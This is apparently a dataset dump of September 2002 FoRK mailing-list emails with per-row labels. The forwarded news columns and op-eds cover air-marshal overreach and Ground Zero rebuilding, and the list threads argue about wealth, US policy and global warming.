Times September 23, 2002 High-Altitude Rambos By BOB HERBERT Dr. Bob Rajcoomar, a U.S. citizen and former military physician from Lake Worth, Fla., found himself handcuffed and taken into custody last month in one of the many episodes of hysteria to erupt on board airliners in the U.S. since the Sept. 11 attacks. Dr. Rajcoomar was seated in first class on a Delta Airlines flight from Atlanta to Philadelphia on Aug. 31 when a passenger in the coach section began behaving erratically. The passenger, Steven Feuer, had nothing to do with Dr. Rajcoomar. Two U.S. air marshals got up from their seats in first class and moved back to coach to confront Mr. Feuer, who was described by witnesses as a slight man who seemed disoriented. What ensued was terrifying. When Mr. Feuer refused to remain in his seat, the marshals reacted as if they were trying out for the lead roles in Hollywood's latest action extravaganza. They handcuffed Mr. Feuer, hustled him into first class and restrained him in a seat next to Dr. Rajcoomar. The 180 or so passengers were now quite jittery. Dr. Rajcoomar asked to have his seat changed and a flight attendant obliged, finding him another seat in first class. The incident, already scary, could - and should - have ended there. But the marshals were not ready to let things quiet down. One of the marshals pulled a gun and brandished it at the passengers. The marshals loudly demanded that all passengers remain in their seats, and remain still. They barked a series of orders. No one should stand for any reason. Arms and legs should not extend into the aisles. No one should try to visit the restroom. The message could not have been clearer: anyone who disobeyed the marshals was in danger of being shot. The passengers were petrified, with most believing that there were terrorists on the plane. ""I was afraid there was going to be a gun battle in that pressurized cabin,"" said Senior Judge James A. Lineberger of the Philadelphia Court of Common Pleas, a veteran of 20 years in the military, who was sitting in an aisle seat in coach. ""I was afraid that I was going to die from the gunfire in a shootout."" Dr. Rajcoomar's wife, Dorothy, who was seated quite a distance from her husband, said, ""It was really like Rambo in the air."" She worried that there might be people on the plane who did not speak English, and therefore did not understand the marshals' orders. If someone got up to go to the bathroom, he or she might be shot. There were no terrorists on board. There was no threat of any kind. When the plane landed about half an hour later, Mr. Feuer was taken into custody. And then, shockingly, so was Dr. Rajcoomar. The air marshals grabbed the doctor from behind, handcuffed him and, for no good reason that anyone has been able to give, hauled him to an airport police station where he was thrown into a filthy cell. This was airline security gone berserk. No one ever suggested that Dr. Rajcoomar, a straight-arrow retired Army major, had done anything wrong. Dr. Rajcoomar, who is of Indian descent, said he believes he was taken into custody solely because of his brown skin. He was held for three frightening hours and then released without being charged. Mr. Feuer was also released. Officials tried to conceal the names of the marshals, but they were eventually identified by a Philadelphia Inquirer reporter as Shawn B. McCullers and Samuel Mumma of the Transportation Security Administration, which is part of the U.S. Transportation Department. The Transportation Security Administration has declined to discuss the incident in detail. A spokesman offered the absurd explanation that Dr. Rajcoomar was detained because he had watched the unfolding incident ""too closely."" If that becomes a criterion for arrest in the U.S., a lot of us reporters are headed for jail. Dr. Rajcoomar told me yesterday that he remains shaken by the episode. ""I had never been treated like that in my life,"" he said. ""I was afraid that I was about to be beaten up or killed."" Lawyers for the American Civil Liberties Union have taken up his case and he has filed notice that he may sue the federal government for unlawful detention. ""We have to take a look at what we're doing in the name of security,"" said Dr. Rajcoomar. ""So many men and women have fought and died for freedom in this great country, and now we are in danger of ruining that in the name of security."" -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 """R. A. Hettinga"" ","Digital Bearer Settlement List , fork@spamassassin.taint.org","Mon, 23 Sep 2002 11:18:55 -0400",Rebuild at Ground Zero,"http://online.wsj.com/article_print/0,,SB10327475102363433,00.html The Wall Street Journal September 23, 2002 COMMENTARY Rebuild at Ground Zero By LARRY SILVERSTEIN Earlier this month, we New Yorkers observed the solemn anniversary of the horrific events that befell our city on Sept. 11, 2001. All of those who perished must never be forgotten. The footprints of the fallen Twin Towers and a portion of the 16-acre site must be dedicated to a memorial and civic amenities that recall the sacrifices that were made there and the anguish that those senseless acts of terror created for the victims' families and, indeed, for all of us. But for the good of the city and the region, the 10-million-plus square feet of commercial and retail space that was destroyed with the Twin Towers must be replaced on the site. About 50,000 people worked in the World Trade Center. Those jobs are lost, along with those of another 50,000 people who worked in the vicinity. Together, those jobs in lower Manhattan, for which the Trade Center was the economic stimulus, produced annual gross wages of about $47 billion, or 15% of the annual gross wages earned in the entire state. Some of the firms have relocated elsewhere in the city and region, but many have not. New York City is facing a budget deficit. Without additional jobs, the deficit may become permanent. This is one reason for the importance of rebuilding. If we do not replace the lost space, lower Manhattan never will regain the vibrancy it had as the world's financial center. Love them or hate them, and there were lots of New Yorkers on both sides of the issue, the Towers made a powerful statement to the world that said, ""This is New York, a symbol of our free economy and of our way of life."" That is why they were destroyed. This is a second reason why the towers must be replaced, and with buildings that make a potent architectural statement. In recent weeks, redevelopment proposals have been circulated from many sources. Most of these focus not on the Trade Center site, however, but on all of lower Manhattan. Further, many believe that the 10 million square feet either could be located elsewhere, scattered in several sites, or simply never rebuilt. These proposals miss the point. What was destroyed, and what must be recovered, was the Trade Center, not all of lower Manhattan. Except over the towers' footprints, where there must be no commercial development, the office and retail space lost has to be rebuilt on or close to where it was. Access to mass transit makes the site ideal for office space of this size. That was a major reason why the Twin Towers were leased to 97% occupancy before 9/11. None of the other sites proposed for office development has remotely equal transportation access. With the reconstruction of the subway and PATH stations, plus an additional $4.5 billion in transit improvements planned, such as the new Fulton Transit Center and the direct ""Train-to-the-Plane"" Long Island Rail Road connection, the site becomes even more the logical locus of office development. And New York will need the space. Before 9/11, the Group of 35, a task force of civic leaders led by Sen. Charles Schumer and former Treasury Secretary Robert Rubin, concluded that the city would need an additional 60 million square feet of new office space by 2020 to accommodate the anticipated addition of 300,000 new jobs. The loss of the Twin Towers only heightens the need. As for those who say that 10 million square feet of office space downtown cannot be absorbed by the real estate market, I would simply point out that history shows them wrong. New York now has about 400 million square feet of office space. All new construction underway already is substantially leased up. New York had 48 million square feet of vacant office space at the beginning of the recession in 1990. By 1998, this space had been absorbed, at an annual rate of about 6 million square feet. We are seeking to rebuild 10 million square feet on the Trade Center site over a period of about 10 years, with the first buildings not coming on line until 2008 and the project reaching completion in 2012. This is an annual absorption rate of about a million feet, much lower than the 1990s' rate. Those who argue that New York cannot reabsorb office space that it previously had are saying that the city has had its day and is entering an extended period of stagnation and decline. I will not accept this view, nor will most New Yorkers. Mayor Michael Bloomberg said in a recent interview with the New York Times that the city ""has to do two things: memorialize, but also build for the future."" I believe that the Twin Towers site can gracefully accommodate -- and that downtown requires -- office and retail space of architectural significance, a dignified memorial that both witnesses and recalls what happened, and cultural amenities that would benefit workers as well as residents of the area. The challenge to accomplish this is enormous. But our city is up to the task. Mr. Silverstein is president of Silverstein Properties, a real estate firm whose affiliates hold 99-year leases on the World Trade Center site. -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 Tom ,fork@spamassassin.taint.org,"Mon, 23 Sep 2002 12:29:28 -0400 (EDT)",Anarchist 'Scavenger Hunt' Raises D.C. Police Ire (fwd),"[Destined to be a new reality TV Show?] Anarchist 'Scavenger Hunt' Raises D.C. Police Ire Sat Sep 21, 3:37 PM ET WASHINGTON (Reuters) - An online ""anarchist scavenger hunt"" proposed for next week's annual meeting of the International Monetary Fund ( news - web sites) and World Bank ( news - web sites) here has raised the ire of police, who fear demonstrators could damage property and wreak havoc. Break a McDonald's window, get 300 points. Puncture a Washington D.C. police car tire to win 75 points. Score 400 points for a pie in the face of a corporate executive or World Bank delegate. D.C. Assistant Police Chief Terrance Gainer told a congressional hearing on Friday that law authorities were in talks to decide whether planned protests were, ""so deleterious to security efforts that we ought to take proactive action."" Several thousand people are expected to demonstrate outside the IMF and World Bank headquarters next weekend. The Anti-Capitalist Convergence, a D.C.-based anarchist group, is also planning a day-long traffic blockade, banner-drops and protests against major corporations in the downtown core. Chuck, the 37 year-old webmaster of the anarchist site www.infoshop.org who declined to give his last name, told Reuters his scavenger hunt was meant as a joke. ""People were asking for things to do when they come to D.C. We made the list to get people thinking, so they don't do the boring, standard stuff,"" he said. ""I doubt people will actually keep track of what they do for points.""",0,0 Owen Byrne ,,"Mon, 23 Sep 2002 13:34:16 -0300",Re: Comrade Communism (was Re: Crony Capitalism (was RE: sed,"R. A. Hettinga wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >At 11:15 AM -0400 on 9/22/02, Geege Schuman wrote: > > > > >>Most of them seem to have Ivy League educations, or are Ivy League >>dropouts suggesting to me that they weren't exactly poor to start >>with. >> >> > >Actually, if I remember correctly from discussion of the list's >composition in Forbes about five or six years ago, the *best* way to >get on the Forbes 400 is to have *no* college at all. Can you say >""Bootstraps"", boys and girls? I knew you could... > > Sure - discussion in Forbes - rigorous research, that. Especially when the data in their own list contradicts them. I continue to look at the list and all the ""inherited, growed"" entries. I guess if I read it enough times my vision will clear. >[Given that an undergraduate liberal arts degree from a state school, >like, say, mine, :-), is nothing but stuff they should have taught >you in a government-run ""high"" school, you'll probably get more of >*those* on the Forbes 400 as well as time goes on. If we ever get >around to having a good old fashioned government-collapsing >transfer-payment depression (an economic version of this summer's >government-forest conflagration, caused by the same kind of >innumeracy that not clear-cutting enough forests did out west this >summer :-)) that should motivate more than a few erst-slackers out >there, including me, :-), to learn to actually feed themselves.] > > >The *next* category on the Forbes 400 list is someone with a >""terminal"" professional degree, like an MBA, PhD, MD, etc., from the >best school possible. > >Why? Because, as of about 1950, the *best* way to get into Harvard, >for instance, is to be *smart*, not rich. Don't take my word for it, >ask their admissions office. Look at the admissions stats over the >years for proof. > > I, at on point, looked into Stanford Business School. After learning that tuition was > 20K, no financial aid was available, and part-time work was disallowed, this smart person decided that I was not willing to spend the $150 application fee (non-refundable). During attendance at my local business school, I was told repeatedly I should have gone for it - to quote a prof, (Northwestern MBA), it has nothing to do with the education you receive - in general European (and Canadian) business schools are better and more innovative - its the connections. He used the words ""American nobility."" >Meritocracy, American Style, was *invented* at the Ivy League after >World War II. Even Stanford got the hint, :-), and, of course, >Chicago taught them all how, right? :-). Practically *nobody* who >goes to a top-20 American institution of higher learning can actually >afford to go there these days. Unless, of course, their parents, who >couldn't afford to go there themselves, got terminal degrees in the >last 40 years or so. And their kids *still* had to get the grades, >and ""biased"" (by intelligence :-)), test scores, to get in. > > ""invented"" being the right word. Dubya went to Yale and HBS. I guess ""practically"" gets you around that problem. > >The bizarre irony is that almost all of those people with ""terminal"" >degrees, until they actually *own* something and *hire* people, or >learn to *make* something for a living all day on a profit and loss >basis, persist in the practically insane belief, like life after >death, that economics is some kind of zero sum game, that dumb people >who don't work hard for it make all the money, and, if someone *is* >smart, works hard, and is rich, then they stole their wealth somehow. > >BTW, none of you guys out there holding the short end of this >rhetorical stick can blame *me* for the fact that I'm using it to >beat you severely all over your collective head and shoulders. You >were, apparently, too dumb to grab the right end. *I* went to >Missouri, and *I* don't have a degree in anything actually useful, >much less a ""terminal"" one, which means *I*'m broker than anyone on >this list -- it's just that *you*, of all people, lots with >educations far surpassing my own, should just plain know better. The >facts speak for themselves, if you just open your eyes and *look*. >There are no epicycles, the universe does not orbit the earth, and >economics is not a zero-sum game. The cost of anything, including >ignorance and destitution, is the forgone alternative, in this case, >intelligence and effort. > >[I will, however, admit to being educated *waay* past my level of >competence, and, by the way *you* discuss economics, so have you, >apparently.] > > > Its interesting but in this part of the World (Nova Scotia) a recent study found that college graduates earn less than graduates of 2 year community colleges (trade schools). They did decline to mention that the demand for some trades is so great that some of them are demanding university degrees to get in. Just for the record - the average salary for a university graduate (including advanced degree holders) here is C$ 21,000 -- < $14,000 US. No wonder half of San Francisco has set up here - we have a whole whack of call centers that have arrived here in the last couple of years - I think they hire some entry level IT people for around $10 ($6 US) an hour, which of course, fits perfectly for me - my entry level job, in 1986, paid $11.00 an hour. The fundamental difference is that most of the jobs that require a trade are *unionized*.In other words, in this part of the world, for the vast majority of people, union dues are a better investment than tuition. The counter-argument to this is that many college graduates leave for better work elsewhere, but the counter-counter argument is that we are the thin edge (one of several really - prison labor in the US would be another) of third-world wages and work practices coming to North America. I worked at a company that had a 14-year wage freeze. The fact that they could maintain that (and prosper) just says volumes about the economy in this part of the world. I met many people there, like me, who felt that was fine, I can vote with my feet. They didn't quite realize that just about every large employer in the area has similar, or worse, policies. Anyway eventually they started a union drive. During the vote, retired employees were brought in by the employer (rumours were that they were paid the going rate for a vote around here - a bottle of rum) and somehow allowed to vote . The union filed a grievance - which was denied - by a Minister of Labour, who, hey, guess what - used to be a VP at the company. That's free labor markets at work. The business continues to prosper - as I was told when I was there - it is a cash cow as long as the JOA (Joint Operating Agreement) with the competing paper is in place. And if you think that any of those wonderful American companies, out of some free-enterprise belief in competing for the best talent, are going to do anything about that, sorry, most of them received generous subsidies, in return, I'm sure, for an understanding about the labor markets here. > >BTW, if we ever actually *had* free markets in this country, >*including* the abolition of redistributive income and death taxes, >all those smart people in the Forbes 400 would have *more* money, and >there would be *more* self-made people on that list. In addition, >most of the people who *inherited* money on the list would have >*much* less of it, not even relatively speaking. Finally, practically >all of that ""new"" money would have come from economic efficiency and >not ""stolen"" from someone else, investment bubbles or not. > >That efficiency is called ""progress"", for those of you in The >People's Republics of Berkeley or Cambridge. It means more and better >stuff, cheaper, over time -- a terrible, petit-bourgeois concept >apparently not worthy of teaching by the educational elite, or you'd >know about it by now. In economic terms, it's also called an increase >in general welfare, and, no, Virginia, I'm not talking about >extorting money from someone who works, and giving it to someone who >doesn't in order to keep them from working and they can think of some >politician as Santa Claus come election time... > > Much as I like to accept what you say - I do believe in free markets , I have difficulty finding any - except of course for labor markets, which governments go to great lengths to protect (well unless the supply is tight) It was a great run with the technology industry - producing most of the self-made billionaires on the list, but now we've got a government-sponsored monopoly, and the concept of ""more stuff, cheaper"" which it has always promised - seems to be disappearing. A particularly galling example is high-speed internet access. An article I read a couple of years ago that it is an area where the pricing approaches of the IT industry (cheaper, better or you die) and the telecom industry (maintain your monopoly through regulation, and get guaranteed price increases through the same regulators) meet. Sadly to say, the telecom industry seems to have won. The whole entertainment industry/RIAA/Palladium thing seems to be another instance where actually giving value to the customer seems less important than using regulation to reduce competition and substitute products in order to produce profits for the favored few. > >In short, then, economics is not a zero sum game, property is not >theft, the rich don't get rich off the backs of the poor, and >redistributionist labor ""theory"" of value happy horseshit is just >that: horseshit, happy or otherwise. > >To believe otherwise, is -- quite literally, given the time Marx >wrote Capital and the Manifesto -- romantic nonsense. > > I usually agree - but when there's a Republican in office - I feel like they're the biggest believers in the Manifesto, in reverse. Create a reserve pool of labor, reduce the rights of that ""proletariat"" you've just created with bogus ""law and order"" policies , concentrate capital in the hands of a few (ideally people who can get you reelected) and the economy will take care of itself. Oh, and lie - use the word ""compassionate"" a lot. I guess I tend to believe that a certain amount of poverty reduction actually helps a modern capitalist state - the basic economic tenet of the Republic party seems to be the more homeless under each overpass, the more efficient the rest of us will be. And the facts are, for most people in the Western world are declining standards of living, declining benefits, disappearing social safety net, greater working hours, essentially since the entrance of women into the work force (not blaming women in any way, they have a right to work but its now 2 wage-earners in each family and still declining standards of living) is the reality. Again to quote that wonderfully liberal document I keep coming back to - the CIA world factbook - on the US economy: ""Since 1975, practically all the gains in household income have gone to the top 20% of households"" Owen",0,0 Elias Sinderson ,fork@spamassassin.taint.org,"Mon, 23 Sep 2002 10:43:01 -0700",Re: sed /s/United States/Roman Empire/g,"Hmm, if the shoe fits... I think these five attributes could more or less describe various actions of the US over the past decade or so... > In the 1990s we witnessed the emergence of a small number of rogue > states that, while different in important ways, share a number of > attributes. These states: > > * brutalize their own people and squander their national resources > for the personal gain of the rulers; The first part of this doesn't really fit, except in isolated cases - certainly not en mass. The second part though... Hmm... > * display no regard for international law, threaten their > neighbors, and callously violate international treaties to which they > are party; Well, think about it. > * are determined to acquire weapons of mass destruction, along with > other advanced military technology, to be used as threats or > offensively to achieve the aggressive designs of these regimes; We already have weapons of mass destruction, but are actively developing bigger and better ones. > * sponsor terrorism around the globe; and Heheh... Anyone know about the 'School of the Americas'? What about the monies, supplies, and training that supported the contra rebels? Oh, I forgot, their government was ""bad"" and needed to be overthrown (with out help). > * reject basic human values and hate the United States and > everything for which it stands. Basic human values like the first ammendment? The fourth ammendment? Sorry, Shrub, your political newspeak is falling on deaf ears. Oh, sorry, maybe I should self-censor my thoughts to avoid being put in a 're-education camp' by Ashcrofts gestappo? Gads, maybe someone on FoRK has joined your T.I.P.S. program and became an official citizen spy? In disgust, Elias",0,0 Dave Long ,fork@spamassassin.taint.org,"Mon, 23 Sep 2002 11:18:16 -0700",Re: [VoID] a new low on the personals tip...,"> * Too much information? The saying, as I recall, is along the lines of ""put your best foot forward"". (In this case, you seem to have put everything forward, in a Fosbury Flop consisting of the best foot, the worst foot, enough arms for a diety and his consort, and even a set of spare limbs from Hoffa or the space aliens or whatever it is you keep locked up in the trunk of the Bonneville) > ... replied ... in one go, in a matter of minutes. I *do* > really think this way, complete with footnotes. So if it's too much > information, I still stand by my reply: I wouldn't be myself if I > started off playing games. Pascal could write short letters, when he had the time. Is editing to provide an ""executive summary"" really being untrue to yourself? (We are all used to a full-bore real-time Rohit streaming, but that's because we are already ""Friends of"", and know to set our buffers accordingly. For a stranger's sake, it may be best to provide the ""elevator pitch Rohit"" -- and negotiate upwards only after a session has been established) -Dave ::::: Thomas Jefferson writes: > I served with General Washington in the legislature of Virginia before > the revolution and during it with Dr. Franklin in Congress. I never > heard either of them speak [for as long as] ten minutes at a time ...",0,0 Owen Byrne ,fork@spamassassin.taint.org,"Mon, 23 Sep 2002 15:09:46 -0300",Re: sed /s/United States/Roman Empire/g,"> > Sorry, Shrub, your political newspeak is falling on deaf ears. Oh, > sorry, maybe I should self-censor my thoughts to avoid being put in a > 're-education camp' by Ashcrofts gestappo? Gads, maybe someone on FoRK > has joined your T.I.P.S. program and became an official citizen spy? > > > In disgust, > Elias Well the message was clear to me - the US wants to start an arms race to jack up their world arms sales monopoly. Owen",0,0 """Jim Whitehead"" ","""Robert Harley"" , ","Mon, 23 Sep 2002 12:23:08 -0700",RE: Goodbye Global Warming,"> Gary Lawrence Murphy wrote: > >and say hello to the cool: Oooo ... /this/ is going to cause > some stir ... > > Of course not. Some people just don't want to be confused by the facts. For anyone to fully bury global warming, they would need to explain why the dramatic increase in CO2 concentrations are not increasing the global temperature. They would also need to explain why, worldwide, glaciers are melting faster than they have previously in the historical record. That is, people need more than refutations, they need a compelling alternate explanation (hint: climate variability doesn't cover all the bases). - Jim",0,0 Gary Lawrence Murphy ,"""Jim Whitehead"" ",23 Sep 2002 16:04:45 -0400,Re: Goodbye Global Warming,">>>>> ""J"" == Jim Whitehead writes: J> For anyone to fully bury global warming, they would need to J> explain why the dramatic increase in CO2 concentrations are not J> increasing the global temperature. They would also need to J> explain why, worldwide, glaciers are melting faster than they J> have previously in the historical record. The associated links cover that: The surface temperature in spots frequented by people is warmer (hence all our groundbased sensors reporting global warming) although the overall environmental temperature is decreasing. Apparently, the real news is not that there is no global warming, but that our models of the warming were seriously flawed by naive convection models. This too was not news to the theoreticians: All that has happened is that NASA has confirmed the naiive convection concerns. -- Gary Lawrence Murphy - garym@teledyn.com - TeleDynamics Communications - blog: http://www.auracom.com/~teledyn - biz: http://teledyn.com/ - ""Computers are useless. They can only give you answers."" (Picasso)",0,1 James Rogers ,Jim Whitehead ,23 Sep 2002 13:36:10 -0700,RE: Goodbye Global Warming,"""the historical record"", by which you mean *human* historical record, is highly overrated (nigh worthless) when you are talking about geological timescales, even on topics with as short a timescale as climate. My problem with global warming (or cooling for that matter), is that the supposedly profound recent changes in temperature, both in absolute terms and as a function time, very arguably fall well below the noise floor of the natural fluctuations that have occurred over the last 50,000 years both in terms of absolute average temperature and the rate of temperature change. People unfamiliar with history of global temperature since the advent of modern humans may think that a degree here or there over a century is a lot, not realizing that global temperatures regularly whipsaw with far greater extremity. I therefore immediately dismiss any theory of global warming that cannot explain why temperatures whipsawed more severely in pre-history than in the last couple thousand years (which have been relatively calm by geological standards). This is a very inconvenient fact for people trying to use climate to push a particular social agenda. It is worth noting that underneath the receding glaciers deposited during the last major ice age, they are finding substantial evidence of humans living in what was a nice temperate climate before the glaciers paved over their civilization. The receding glaciers have turned into a bit of an archaeological treasure chest, as they expose artifacts buried in and underneath them as they shrink that have been preserved by the ice for thousands of years. I don't see any compelling reason to ""save the glaciers"" anyway, particularly in light of the fact that their existence has always been transient. For anyone to insist that the current negligible fluctuations are anthropogenic just heaps one ridiculous assertion upon another. I'll just stick with Occam's Razor for now. In my humble opinion. Cheers, -James Rogers jamesr@best.com On Mon, 2002-09-23 at 12:23, Jim Whitehead wrote: > > For anyone to fully bury global warming, they would need to explain why the > dramatic increase in CO2 concentrations are not increasing the global > temperature. They would also need to explain why, worldwide, glaciers are > melting faster than they have previously in the historical record. That is, > people need more than refutations, they need a compelling alternate > explanation (hint: climate variability doesn't cover all the bases).",0,0 """John Hall"" ","""FoRK"" ","Mon, 23 Sep 2002 13:43:55 -0700",RE: Goodbye Global Warming,"For anyone to fully bury global warming, they would have to bury the Greens. A Green once said that if the Spotted Owl hadn't existed they would have had to invent it. So it is with global warming. Their fundamental opposition isn't to a warmer earth, it is to industrial civilization. The fact that the sattelites didn't match what the global warming theorists said should be there is old news. The news here is that the temperature measures via sattelite have gotten even better and they have been validated with a different means of measurement. Rather than have to defend CO2 concentrations as not causing global warming, people who believe in CO2 need a good explanation of the ""Medieval Warm Period"". Said period was warmer than what we have now, and it obvioiusly wasn't caused by CO2. In point of fact the predicted global warming due to CO2 is not caused DIRECTLY by CO2. CO2 doesn't trap that much heat. Water vapor does, and if you can get more water vapor in the air due to CO2 then you have your warming theory. Yet it would seem that the very stability of the earth's climate over long periods argues not for an unstable system with positive feedback loops but one where negative feedback loops predominate. More water vapor can increase temperatuers, but that also leads to more clouds. Clouds both trap heat and reflect it, so it depends a great deal on how the cloud formation shakes out. Most climate models admit they do clouds very poorly. A good link is: http://www.techcentralstation.be/2051/wrapper.jsp?PID=2051-100&CID=2051- 060302A > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of Jim > Whitehead > Sent: Monday, September 23, 2002 12:23 PM > To: Robert Harley; fork@spamassassin.taint.org > Subject: RE: Goodbye Global Warming > > > Gary Lawrence Murphy wrote: > > >and say hello to the cool: Oooo ... /this/ is going to cause > > some stir ... > > > > Of course not. Some people just don't want to be confused by the facts. > > For anyone to fully bury global warming, they would need to explain why > the > dramatic increase in CO2 concentrations are not increasing the global > temperature. They would also need to explain why, worldwide, glaciers are > melting faster than they have previously in the historical record. That > is, > people need more than refutations, they need a compelling alternate > explanation (hint: climate variability doesn't cover all the bases). > > - Jim >",0,1 """Jim Whitehead"" ",,"Mon, 23 Sep 2002 13:53:56 -0700",RE: Goodbye Global Warming,"> J> For anyone to fully bury global warming, they would need to > J> explain why the dramatic increase in CO2 concentrations are not > J> increasing the global temperature. You have not explained why the increase in CO2 concentrations is not contributing to increasing global temperature. > This too was not news to the theoreticians: All > that has happened is that NASA has confirmed the naiive convection > concerns. Precisely which theoreticians do you mean? What, exactly, do you mean by a global warming theoretician -- scientists in this area don't use that term. I assure you that not all scientists performing modeling of global temperature phenomena agree with your assertions. - Jim",0,0 """Jim Whitehead"" ","""James Rogers"" ","Mon, 23 Sep 2002 13:53:56 -0700",RE: Goodbye Global Warming,"> ""the historical record"", by which you mean *human* historical record, is > highly overrated (nigh worthless) when you are talking about geological > timescales, even on topics with as short a timescale as climate. There has been a significant recent increase in global CO2 concentrations. The vast preponderance of the new CO2 in the atmosphere is due to human activity starting around the industrialization of Europe, and accelerating after WWII. Most scientists studying global climate change believe that these increased CO2 concentrations are the primary causal agent for increased global warming. Hence our interest in items of human time scale. > It is worth noting that underneath the receding glaciers deposited > during the last major ice age, they are finding substantial evidence of > humans living in what was a nice temperate climate before the glaciers > paved over their civilization. The receding glaciers have turned into a > bit of an archaeological treasure chest, as they expose artifacts buried > in and underneath them as they shrink that have been preserved by the > ice for thousands of years. I don't see any compelling reason to ""save > the glaciers"" anyway, particularly in light of the fact that their > existence has always been transient. Most global climate change scientists would agree that temperatures in the past have often been much warmer than today. The point of global warming isn't to save the Earth -- the planet is not sentient. The point is to understand and potentially reduce the impact of increasing temperatures on global human activity. > For anyone to insist that the current negligible fluctuations are > anthropogenic just heaps one ridiculous assertion upon another. I'll > just stick with Occam's Razor for now. The increase in atmospheric CO2 concentration is due to human activity. It is generally accepted that increases in CO2 in a closed environment subject to solar heating retain more of that solar energy. This is the current best explanation for the high temperature of Venus. If the CO2 concentration goes up globally (which it has), then theory states the earth should be retaining greater solar energy. This process may be slow, and may be difficult to monitor due to the variability of temperatures worldwide. I encourage you to refute any part of this causal chain linking CO2 to eventual increases in global energy content, part of which will be evident as heat. - Jim",0,0 """Mr. FoRK"" ",,"Mon, 23 Sep 2002 14:10:17 -0700",Re: Goodbye Global Warming,"----- Original Message ----- From: ""James Rogers"" > > It is worth noting that underneath the receding glaciers deposited > during the last major ice age, they are finding substantial evidence of > humans living in what was a nice temperate climate before the glaciers > paved over their civilization. The receding glaciers have turned into a > bit of an archaeological treasure chest, as they expose artifacts buried > in and underneath them as they shrink that have been preserved by the > ice for thousands of years. Got bits?",0,0 """Mr. FoRK"" ","""FoRK"" ","Mon, 23 Sep 2002 14:11:49 -0700",Re: Goodbye Global Warming,"----- Original Message ----- From: ""John Hall"" > A Green once said that if the Spotted Owl hadn't existed they > would have had to invent it. A Republican once said ""I am not a crook"".",0,0 Tom ,"""Mr. FoRK"" ","Mon, 23 Sep 2002 17:22:24 -0400 (EDT)",Re: Goodbye Global Warming,"--]> A Green once said that if the Spotted Owl hadn't existed they --]> would have had to invent it. --]A Republican once said ""I am not a crook"". --] Oh great, another round of Lableisms....Let me know when you get back to real data..",0,0 """John Hall"" ","""FoRK"" ","Mon, 23 Sep 2002 14:23:24 -0700",RE: Goodbye Global Warming,"""I did not have sex with that woman."" > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of Mr. > FoRK > Sent: Monday, September 23, 2002 2:12 PM > To: FoRK > Subject: Re: Goodbye Global Warming > > > ----- Original Message ----- > From: ""John Hall"" > > > A Green once said that if the Spotted Owl hadn't existed they > > would have had to invent it. > A Republican once said ""I am not a crook"".",0,0 James Rogers ,fork@spamassassin.taint.org,23 Sep 2002 14:48:41 -0700,Re: Goodbye Global Warming,"I've seen articles on this type of stuff passing through various forums for several years. I've always found archaeology interesting for no particular reason. Here is a recent article from U.S. News that I actually still have in the dank recesses of my virtual repository. -James Rogers jamesr@best.com -------------------------------------------- http://www.usnews.com/usnews/issue/020916/misc/16meltdown.htm Defrosting the past Ancient human and animal remains are melting out of glaciers, a bounty of a warming world BY ALEX MARKELS As he hiked near Colorado's Continental Divide in the summer of 2001, Ed Knapp noticed a strange shape jutting from a melting ice field at 13,000 feet. ""It looked like a bison skull,"" the building contractor and amateur archaeologist recalls. ""I thought, 'That's strange. Bison don't live this high up.' "" Knapp brought the skull to the Denver Museum of Nature and Science, where scientists last month announced that it was indeed from a bisonone that died about 340 years ago. ""This was an extraordinary discovery,"" says Russ Graham, the museum's chief curator, adding that it could alter notions of the mountain environment centuries ago. ""There's probably a lot more like it yet to be found."" And not just bison. Colorado isn't the only place where glaciers and snowfields are melting. Decades of unusual warmth in regions from Peru to Alaskaa trend some think is linked to emissions from cars and industryhave shrunk or thawed many of the world's 70,000 glaciers. As the ice recedes, a treasure-trove of human and animal artifacts is emerging, extraordinarily well preserved after centuries in the deep freeze. The fabrics, wood, bone, and DNA-rich tissue found on the mucky fringes of the ice are revising scientists' understanding of our predecessors' health, habits, and technology, and the prey they pursued. ""It's mind-boggling how many different fields are being advanced through studying these remains,"" says Johan Reinhard, a high-altitude archaeologist and explorer-in-residence at the National Geographic Society. Rare, spectacular finds like the frozen mummies he discovered in the Andes of Peru in the 1990s and the legendary 5,300-year-old ""Ice Man,"" found at the edge of a receding glacier in the Alps in 1991, have offered time capsules of cultural and biological information. Now, as the ice continues to retreat, it is yielding not just occasional treasures but long records of humans and animals in the high mountains. Vanishing act. The trick is finding such specimens before Mother Natureand looterstake them first. Once uncovered, frozen remains can deteriorate within hours or be gnawed by animals. Moreover, they're often so well preserved when they emerge that people who come upon them don't even realize they're ancient. That was the case when three men hunting sheep near a high glacier in British Columbia, Canada, three years ago saw what they thought was a dead animal. ""It looked a little like sealskin buried in the ice,"" recalls Warren Ward, a teacher from nearby Nelson. ""But when I looked closer I could see leather fringe from a coat and finger bones."" Figuring they had found the remains of another hunter, or perhaps a fur trapper, the men stowed a flint knife and other artifacts in a Zip-Loc bag and delivered them to local officials. Archaeologists later exhumed the fallen hunter's body, along with a woven hat, fur clothing, and what seemed to be a medicine bag. Carbon dating revealed that the hunter lived about 550 years ago. Dubbed Kwaday Dan Ts'inchi, or Long Ago Person Found, by people of the Champagne and Aishihik First Nations (who may be his direct descendants), he is perhaps the best-preserved human from the period ever found in North America. Other findings from melting ice in the neighboring Yukon region could explain what that long-ago person was doing in the mountains in the first place. ""Before this there was no archaeological record of people living here,"" says Greg Hare, a Yukon government archaeologist. ""Now we see that this area was very much part of people's seasonal activities."" Like Ward's discovery, the search began by chance, when Kristin Benedek caught a whiff of what smelled like a barnyard as she and her husband, Gerry Kuzyk, hunted sheep at 6,000 feet in the mountains of the south Yukon. They followed the scent to a melting patch of ice covered in caribou dung. ""It was really odd, because I knew there hadn't been caribou in the area for at least 100 years,"" recalls Kuzyk, then a wildlife biologist with the Yukon government. Caribou cake. Returning a week later, he found ""what looked like a pencil with string wrapped around it."" It turned out to be a 4,300-year-old atlatl, or spear thrower. Further investigation of the ice patchand scores of others around the regionrevealed icy 